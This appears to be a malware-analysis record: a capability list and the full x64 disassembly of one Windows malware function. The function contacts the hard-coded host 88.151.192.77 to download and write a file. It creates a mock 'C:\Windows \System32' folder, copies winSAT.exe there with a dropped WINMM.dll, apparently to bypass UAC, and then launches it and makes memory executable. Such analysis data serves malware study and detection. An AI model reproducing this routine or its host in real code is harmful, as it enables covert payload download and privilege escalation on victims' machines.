Function at 0x14000deb0
Capabilities:
Allocate or change rwx memory
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Create http request
Create process on windows
Delete file
Download and write a file
Get common file path
Get session user name
Query or enumerate registry value
Read data from internet
Receive and write data from server to client
Receive data
Terminate process
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rsi
push rbp
lea rbp, [rsp - 0x8c0]
sub rsp, 0x9c0
call fcn.140008e80
lea rcx, [0x140542bf0]
call qword [sym.imp.kernel32.dll_lstrlenA]
xor edx, edx
lea rcx, [rbp - 0x40]
mov r8d, 0xff
call fcn.14000f260
lea rax, [rsp + 0x40]
xor esi, esi
mov qword [rsp + 0x30], rax
lea r8, str.ProductName
lea rax, [rbp - 0x40]
mov rcx, 0xffffffff80000002
mov qword [rsp + 0x28], rax
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersion
lea r9d, [rsi + 2]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.advapi32.dll_RegGetValueA]
test eax, eax
jne 0x14000df36
lea rdx, [rbp - 0x40]
lea rcx, [0x140542ae0]
call qword [sym.imp.kernel32.dll_lstrcpyA]
lea rcx, [0x140542ae0]
call qword [sym.imp.kernel32.dll_lstrlenA]
mov ecx, 0x1b58
call qword [sym.imp.kernel32.dll_Sleep]
xor edx, edx
lea rcx, [rbp - 0x40]
mov r8d, 0x200
call fcn.14000f260
mov r8d, 0x150
lea rdx, [rbp - 0x40]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleFileNameA]
lea rdx, str.c:windows_system_svchost.exe
lea rcx, [rbp - 0x40]
call qword [sym.imp.shlwapi.dll_StrStrIA]
test rax, rax
je 0x14000dfb6
lea r8, str.GlobalAlreadyExist
mov edx, 1
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateMutexA]
test rax, rax
je 0x14000dfad
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000dfb6
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
mov qword [rsp + 0x9d0], rbx
lea rcx, [rbp + 0x3c1]
xor edx, edx
mov qword [rsp + 0x9d8], rdi
mov r8d, 0x1ff
mov byte [rbp + 0x3c0], sil
call fcn.14000f260
lea r9, [0x140542bf0]
lea r8, str.v0.971_1
lea rdx, str.http:__88.151.192.77__aiamok__s__s
lea rcx, [rbp + 0x3c0]
call fcn.140001020
xor r9d, r9d
mov dword [rsp + 0x40], esi
xor r8d, r8d
mov dword [rsp + 0x20], esi
xor edx, edx
lea rcx, str.Bing
call qword [sym.imp.wininet.dll_InternetOpenA]
mov rdi, rax
test rax, rax
je 0x14000e094
mov qword [rsp + 0x28], rsi
lea rdx, [rbp + 0x3c0]
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.wininet.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x14000e08b
nop dword [rax]
nop word [rax + rax]
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.wininet.dll_InternetReadFile]
test eax, eax
je 0x14000e082
cmp dword [rsp + 0x40], esi
ja 0x14000e060
mov rcx, rbx
call qword [sym.imp.wininet.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.wininet.dll_InternetCloseHandle]
mov edx, 0x200
lea rcx, [rbp - 0x40]
call qword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
lea rdx, str.Systemxxx1.bak
lea rcx, [rbp - 0x40]
call qword [sym.imp.kernel32.dll_lstrcatA]
mov qword [rsp + 0x30], rsi
lea rcx, [rbp - 0x40]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.kernel32.dll_CreateFileA]
mov rdi, qword [rsp + 0x9d8]
cmp rax, 0xffffffffffffffff
jne 0x14000e28c
xor edx, edx
lea rcx, str._C:Windows__
call qword [sym.imp.kernel32.dll_CreateDirectoryW]
xor edx, edx
lea rcx, str._C:Windows_System32
call qword [sym.imp.kernel32.dll_CreateDirectoryW]
xor r8d, r8d
lea rdx, str._C:Windows_System32winSAT.exe
lea rcx, str.C:WindowsSystem32winSAT.exe
call qword [sym.imp.kernel32.dll_CopyFileW]
mov qword [rsp + 0x30], rsi
lea rcx, str._C:Windows_System32WINMM.dll
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 4
mov edx, 0xc0000000
mov dword [rsp + 0x40], esi
call qword [sym.imp.kernel32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000e163
mov eax, esi
jmp 0x14000e191
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rsi
mov r8d, 0x18200
lea rdx, [0x140528eb0]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov eax, 1
test eax, eax
je 0x14000e1ef
xorps xmm0, xmm0
lea rax, str.C:Windows_System32winSAT.exe
movups xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x70
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x58], rsi
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x68], rax
lea rax, str.formal
movups xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x70], rax
movups xmmword [rbp - 0x70], xmm0
mov dword [rbp - 0x80], esi
movups xmmword [rbp - 0x60], xmm0
mov qword [rsp + 0x78], rsi
movups xmmword [rbp - 0x50], xmm0
call qword [sym.imp.shell32.dll_ShellExecuteExW]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x14000e248
lea rbx, [rax + 0x39000]
mov dword [rsp + 0x40], esi
mov rcx, rbx
lea r9, [rsp + 0x40]
mov edx, 0x500000
mov r8d, 1
call qword [sym.imp.kernel32.dll_VirtualProtect]
test eax, eax
je 0x14000e248
mov ecx, 0x157c
call qword [sym.imp.kernel32.dll_Sleep]
lea r9, [rsp + 0x40]
mov edx, 0x500000
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.kernel32.dll_VirtualProtect]
xor edx, edx
lea rcx, [rbp + 0x5c0]
mov r8d, 0x300
call fcn.14000f260
mov r8d, 0x200
lea rdx, [rbp + 0x5c0]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleFileNameA]
mov rbx, qword [rsp + 0x9d0]
xor eax, eax
mov rsi, qword [rsp + 0x9e0]
add rsp, 0x9c0
pop rbp
ret
mov rcx, rax
call qword [sym.imp.kernel32.dll_CloseHandle]
lea rcx, [rbp - 0x40]
call qword [sym.imp.kernel32.dll_DeleteFileA]
xor edx, edx
lea rcx, [rbp - 0x40]
mov r8d, 0x105
call fcn.14000f260
lea r8, [rsp + 0x40]
mov dword [rsp + 0x40], 0x104
lea rdx, [rbp - 0x40]
mov ecx, 2
call qword [sym.imp.secur32.dll_GetUserNameExA]
call fcn.140008910
mov ecx, 0xbb8
call fcn.140008a10
call fcn.140008a90
mov ecx, 0xfa0
call fcn.140008a10
call fcn.1400074e0
mov ecx, 0xfa0
call fcn.140008a10
call fcn.14000c6f0
int3